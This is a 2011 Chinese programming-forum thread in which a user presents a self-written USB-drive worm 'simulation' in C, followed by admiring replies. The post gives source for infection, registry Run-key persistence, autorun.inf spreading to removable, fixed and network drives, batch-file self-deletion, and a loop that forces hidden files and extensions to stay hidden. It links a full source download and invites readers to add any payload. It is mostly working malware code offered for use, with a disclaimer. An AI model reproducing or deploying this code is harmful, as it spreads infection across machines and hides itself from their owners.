Love 梦想 发表于 2011-11-5 03:53:23

C语言练习作品 -> U盘病毒模拟(附源码)

本帖最后由 Love 梦想 于 2011-11-5 13:42 编辑

   学了汇编有一段时间了,觉得还是C语言比较好玩。今天就复习一下吧。我除了对远程控制木马比较了解外,对U盘病毒类型也蛮熟悉的(╮(╯▽╰)╭ 被学校机房里的电脑逼的...)U盘病毒有很多种,我就设计其中一种在我们学校机房最常见的吧~(远控难度太高了...)
    U盘病毒有个特性就是利用U盘进行传播(废话...),它会在U盘根目录里建立一个名为 autorun.inf 的文件。为什么要建立这个文件呢。
      autorun.inf 其作用是允许在双击磁盘时自动运行指定的某个文件,是从Windows95开始的,最初用在其安装盘里,实现自动安装,以后的各版本都保留了该文件并且部分内容也可用于其他存储设备。一般光盘都会有这个文件,插入光驱内,计算机会自动执行 autorun.inf 指定的文件。原本只是为了方便而设计的。后来被一些骇客利用这个特性,在移动磁盘目录中放入病毒程序,建立autorun.inf 使其指向病毒程序。这样就达到,一双击U盘就执行里面的病毒程序,从而达到传播的目的。
      U盘病毒建立autorun.inf的内容是:

OPEN=病毒程序的名字
shellopen=打开(&O)
shellopenCommand=病毒程序的名字
shellopenDefault=1
shellexplore=资源管理器(&X)
shellexploreCommand=病毒程序的名字
这样就能实现 无论用户双击打开U盘还是右击 用资源管理器打开 还是一样会执行U盘里面的病毒程序

    我想想,中了U盘病毒后的症状
1、无法显示隐藏属性的文件还有扩展名,手动更改【文件夹选项】 中的 【 隐藏受保护的操作系统文件(推荐)】、【显示所有文件夹】、【隐藏已知类型的扩展名】这三个选项,会被马上改回去...
2、感染系统文件夹
3、感染U盘和硬盘其他分区 (根目录都有相同名字的autorun.inf和 exe程序 都是隐藏属性)
4、自删除
5、主要目的模块(我当时还不知道它 最终目的是想干嘛)

那么U盘病毒大概有1,感染模块 2,自删除模块3,实时监控U盘模块 4,实时修改注册表隐藏系统文件、扩展名模块5、主要目的模块

基本设计思路是:执行后,自复制到系统、U盘、硬盘各分区(感染)后调用系统目录中的病毒,然后自删除。
                            系统目录中的病毒被执行后,实时监控用户U盘是否被插入,实时修改注册表达到隐藏自己的目的。然后执行真正想做的事,例如下载一些其他病毒啊,或者破坏文件啊等...

感染前的执行顺序是:感染系统模块 => 执行系统目录中的病毒 => 退出自删除

感染后的执行顺序是:

                                                 | -实时监控U盘      (有U盘则感染,无则进行监控)
系统目录中的病毒被执行后 => | -实时修改注册表 (监控注册表是否被修改,修改则改回来)   
                                                 | -最终目的模块   (一些见不得人的事)


分析完毕。先写感染模块吧,考虑到U盘病毒会感染U盘 也会感染系统 所以要有两种感染模式,在写感染模块前先写判断感染的条件

编译环境 VC6.0

1,感染模块
声明两个全局变量 (代码长的时候 不建议使用全局变量)
char FileDirSystem;//用来保存系统文件夹中的病毒程序
char FileName; // 用来保存 自身路径

感染条件
GetModuleFileName(NULL,FileName,MAX_PATH);   // 获取自身路径
GetSystemDirectory(FileDirSystem,MAX_PATH);    // 获取系统目录
strcat(FileDirSystem,"\\snss.exe");       //snss.exe 是病毒程序名字

if (strcmp(FileDirSystem,FileName))   // 不在系统目录则进行感染
Ganran(1);    //
else// 是系统目录则不进行感染 做其他的事情

}

/********************************************************/
//感染模块
/********************************************************/
int Ganran(int i)
{
if (i)   //感染系统
{
CopyFile(FileName,FileDirSystem,FALSE); // 覆盖性自复制至系统目录
SetFileAttributes(FileDirSystem,FILE_ATTRIBUTE_HIDDEN);
HKEY RegKey;
   // 开机自启动
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
   0, KEY_ALL_ACCESS, &RegKey);
RegSetValueEx(RegKey, "ctfmonn", 0, REG_SZ, (const BYTE *)&FileDirSystem, MAX_PATH);
RegCloseKey(RegKey);
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
   0, KEY_ALL_ACCESS, &RegKey);
RegSetValueEx(RegKey, "ctfmonn", 0, REG_SZ, (const BYTE *)&FileDirSystem, MAX_PATH);
RegCloseKey(RegKey);
ShellExecute(NULL,"open",FileDirSystem,0,0,SW_HIDE);   // 执行
Del(); // 自残
return 1;
}
else // 感染U盘
{
strcat(FileName,"Test.exe");
FILE *fp;
if ((fp=fopen(FileName,"r"))!=NULL) // 检测病毒是否存在 避免重复感染
{
   fclose(fp);
   return 1;
}
CopyFile(FileDirSystem,FileName,FALSE); // 将自身覆盖性复制到U盘
SetFileAttributes(FileName,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);
FileName='\0';
strcat(FileName,"\\autorun.inf");
if ((fp=fopen(FileName,"w+"))!=NULL)// 写入autorun.inf文件
{
      fputs("\n",fp);
   fputs("OPEN=Test.exe\n",fp);
    fputs("shell\open=打开(&O)\n",fp);
    fputs("shell\open\Command=Test.exe\n",fp);
   fputs("shell\open\Default=1\n",fp);
   fputs("shell\explore=资源管理器(&X)\n",fp);
   fputs("shell\explore\Command=Test.exe",fp);
   fclose(fp);
   SetFileAttributes(FileName,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);
}
else // 无法写入则返回 要么有读锁,要么已经被免疫
   return 1;
}
}

好的,感染模块写好了,感染完了然后当然就是自我消失啦
2,自删除 (用批处理来删除自己 这个是最常用的方法 360也是用这种方法删除卸载后残留的文件)
/********************************************************/
//自删除功能   
/********************************************************/
void Del()
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",FileName);
fprintf(fp,"del /f /q \"%s\" \n",FileName);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);
}

接下来是实时监控用户有没有插U盘 既然是实时的 那就用线程函数
3,实时监控U盘模块(线程函数) 一旦发现用户插入U盘 立即进行感染
/********************************************************/
//实时监控U盘,发现U盘立即进行感染
/********************************************************/
void WINAPI ScanDisk()// 实时监控U盘   USB 盯死你
{
char szDriverName;
do
{
strcpy(szDriverName, "C:\0");

Sleep(1000); // 每秒监控一次避免太消耗系统资源
for( szDriverName = 'C'; szDriverName < 'Z'; szDriverName++ )
{
   // 感染 移动磁盘、固定磁盘、网络磁盘管你哪种类型的盘 只要可写 都有份 别急
   if( GetDriveType( szDriverName ) == DRIVE_REMOVABLE || GetDriveType( szDriverName ) == DRIVE_FIXED || GetDriveType( szDriverName ) == DRIVE_REMOTE)
   {
   strcpy(FileName,szDriverName);   
   Ganran(0);// 感染U盘模式
}
} while (1);
}

接下来是防止用户看到我们的文件 实时修改注册表项 达到用户无论怎么设置【文件夹选项】都无法显示隐藏的文件、扩展名
4,实时修改注册表隐藏系统文件、扩展名模块 (为了方便,不检查了直接修改)
/********************************************************/
//修改注册表   想找我 窗户都没有 更别说门了
/********************************************************/
void WINAPI ScanRege()// 实时修改注册表
{
HKEY RegKey;
DWORD tmp1 = 1; // 扩展名 1隐藏0显示
DWORD tmp2 = 2;//Hidden 2 隐藏   1 显示隐藏文件
DWORD tmp0 = 0;//ShowSuperHidden 0 隐藏1显示
do
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL",
   0, KEY_ALL_ACCESS, &RegKey);
RegSetValueEx(RegKey, "CheckedValue", 0, REG_DWORD, (const BYTE *)&tmp1, sizeof(tmp1));
RegCloseKey( RegKey );

RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",
   0, KEY_ALL_ACCESS, &RegKey);
RegSetValueEx(RegKey, "Hidden", 0, REG_DWORD, (const BYTE *)&tmp2, sizeof(tmp2));   // 隐藏文件
RegSetValueEx(RegKey, "ShowSuperHidden", 0, REG_DWORD, (const BYTE *)&tmp0, sizeof(tmp0));// 隐藏受保护系统文件
RegSetValueEx(RegKey, "HideFileExt", 0, REG_DWORD, (const BYTE *)&tmp1, sizeof(tmp1));// 隐藏扩展名
RegCloseKey( RegKey );

} while (1);
}

关键的写完了 至于最后一个 最终目的模块 就不写了 .. 大家可以发挥自己的想象想干嘛就干嘛哈

下面是根据病毒执行顺序 组合出完整的代码
**** Hidden Message *****

注意哈,印象中,貌似微软发布了一个可以彻底废除系统 自动播放(autorun.inf )的补丁,而且很多杀软都可以建立一个特殊的autorun.inf 文件夹,由于文件名不允许相同 所以U盘病毒无法创建相同名字的autorun.inf 文件,该文件夹用普通的方法是无法删除的。(其实,这种免疫方式不怎么样。如果不是因为微软封杀,我也会写出专门删除这种类型的文件夹模块)
连微软都出手了,由此可见U盘病毒的危害有多大了。遭微软这种封杀,估计利用 autorun.inf 方式传播将会成为历史了...

还有,大家写函数的时候别学我哈,不然就会头疼咯...尽量让那些函数独立起来,函数要处理的数据就用参数传进去,结果就返回。

只为技术交流哈,由运行此程序所带来的一切不良后果本人概不负责
源代码下载:L、U盘病毒模拟:http://www.gokuai.com/f/4z58x3ziZ89811Y3

郑小夕 发表于 2011-11-5 07:12:28

厉害 厉害~ 高手~

诗意人生 发表于 2011-11-5 08:19:02

思路很清晰。代码写的也很规范。

Love 梦想 发表于 2011-11-5 09:24:02

郑小夕 发表于 2011-11-5 07:12 static/image/common/back.gif
厉害 厉害~ 高手~

呵呵,被你这么一夸我都快飞上天了...哈哈~这个挺简单的... 要是能写出想Gh0st 那种远控就不错咯...

Love 梦想 发表于 2011-11-5 09:26:40

诗意人生 发表于 2011-11-5 08:19 static/image/common/back.gif
思路很清晰。代码写的也很规范。

呵呵,一些功能函数方面还不够好...应该用参数的形式传递... 我就直接用全局变量了... 这个习惯不好...

诗意人生 发表于 2011-11-5 09:29:42

Love 梦想 发表于 2011-11-5 09:24 static/image/common/back.gif
呵呵,被你这么一夸我都快飞上天了...哈哈~这个挺简单的... 要是能写出想Gh0st 那种远控就不错咯...

都是玩黑的。。。。
我还在迷茫徘徊中呢。。。学汇编,学C,学了无法很好的应用。。
昨天才明白了什么叫 不能一口吃成个大胖子

Gh0st
远控的编写也是模块化的,一个个模块实现。最好去了解下关于OS方面的知识。了解下底层。

Love 梦想 发表于 2011-11-5 09:37:16

诗意人生 发表于 2011-11-5 09:29 static/image/common/back.gif
都是玩黑的。。。。
我还在迷茫徘徊中呢。。。学汇编,学C,学了无法很好的应用。。
昨天才明白了什么叫 ...

呵呵,我现在没玩黑了。只是想设计个像样点的程序,我对病毒方面比较了解 只能设计这些咯。o(︶︿︶)o 唉 对OS的一些底层知识还不够深入(有米推荐的视频教程或者电子书籍吖、?)....Gh0st 远控有些模块 还不能实现,例如端口完成模块... 还没有接触过那方面的... 上次用socket 设计了一个模仿远控的程序,由于同一时间只能上线一台机,如果用多线程的话,同时几百台主机上线,估计进程立马死掉了..这方面挺郁闷的 ...   

诗意人生 发表于 2011-11-5 09:44:16

Love 梦想 发表于 2011-11-5 09:37 static/image/common/back.gif
呵呵,我现在没玩黑了。只是想设计个像样点的程序,我对病毒方面比较了解 只能设计这些咯。o(︶︿︶)o 唉 ...

也不知道你汇编学的怎么样,我记得有本书叫《编程高手箴言》我只看懂前3章,后面的。。有点蛋疼。
内核方面的有本《天书夜读-从汇编语言到Windows内核编程》,还有本比较喜欢的《深入理解计算机系统》其他的我也没怎么看过。。。
也只是个小菜
毕业后,何去何从那。。

Love 梦想 发表于 2011-11-5 10:01:40

诗意人生 发表于 2011-11-5 09:44 static/image/common/back.gif
也不知道你汇编学的怎么样,我记得有本书叫《编程高手箴言》我只看懂前3章,后面的。。有点蛋疼。
内核方 ...

汇编 菜啊...要是能学好汇编就好了...

诗意人生 发表于 2011-11-5 10:05:47

Love 梦想 发表于 2011-11-5 10:01 static/image/common/back.gif
汇编 菜啊...要是能学好汇编就好了...

汇编。。。其实真的不难,也就那么几个知识点。。难得是精通,不过懂了语言才能去了解她。。
汇编的话,小甲鱼讲的那本教材不错。我是看着那本教材自学的。然后多看看逆向的帖子,比如52pojie,看雪学院,看雪那儿有个官方提供的教材,很不错的。

Love 梦想 发表于 2011-11-5 10:59:57

诗意人生 发表于 2011-11-5 10:05 static/image/common/back.gif
汇编。。。其实真的不难,也就那么几个知识点。。难得是精通,不过懂了语言才能去了解她。。
汇编的话, ...

嗯 我也是看小甲鱼的... 对了,你有没有与逆向相关的视频教程呢?

心迷88 发表于 2011-11-12 20:52:15

??????????????????

china_ymex 发表于 2011-11-12 22:16:39

china_ymex

ooogu 发表于 2011-11-24 13:52:00

{:7_169:} 要了要了

黑蚂蚁 发表于 2011-11-24 15:20:39

学习! 学习!

neur2520 发表于 2011-12-3 23:24:13

咸鱼 发表于 2011-12-4 00:33:39

好思路,学习了{:1_1:}{:1_1:}{:1_1:}

sky! 发表于 2011-12-7 21:48:44

see see。。。。。

豆子天空 发表于 2011-12-10 09:26:29

好深奥,我还是继续学我的基础篇

devil5975 发表于 2012-1-3 15:22:38

我看看,lz{:1_1:}
页: [1] 2 3 4 5 6 7 8 9
查看完整版本: C语言练习作品 -> U盘病毒模拟(附源码)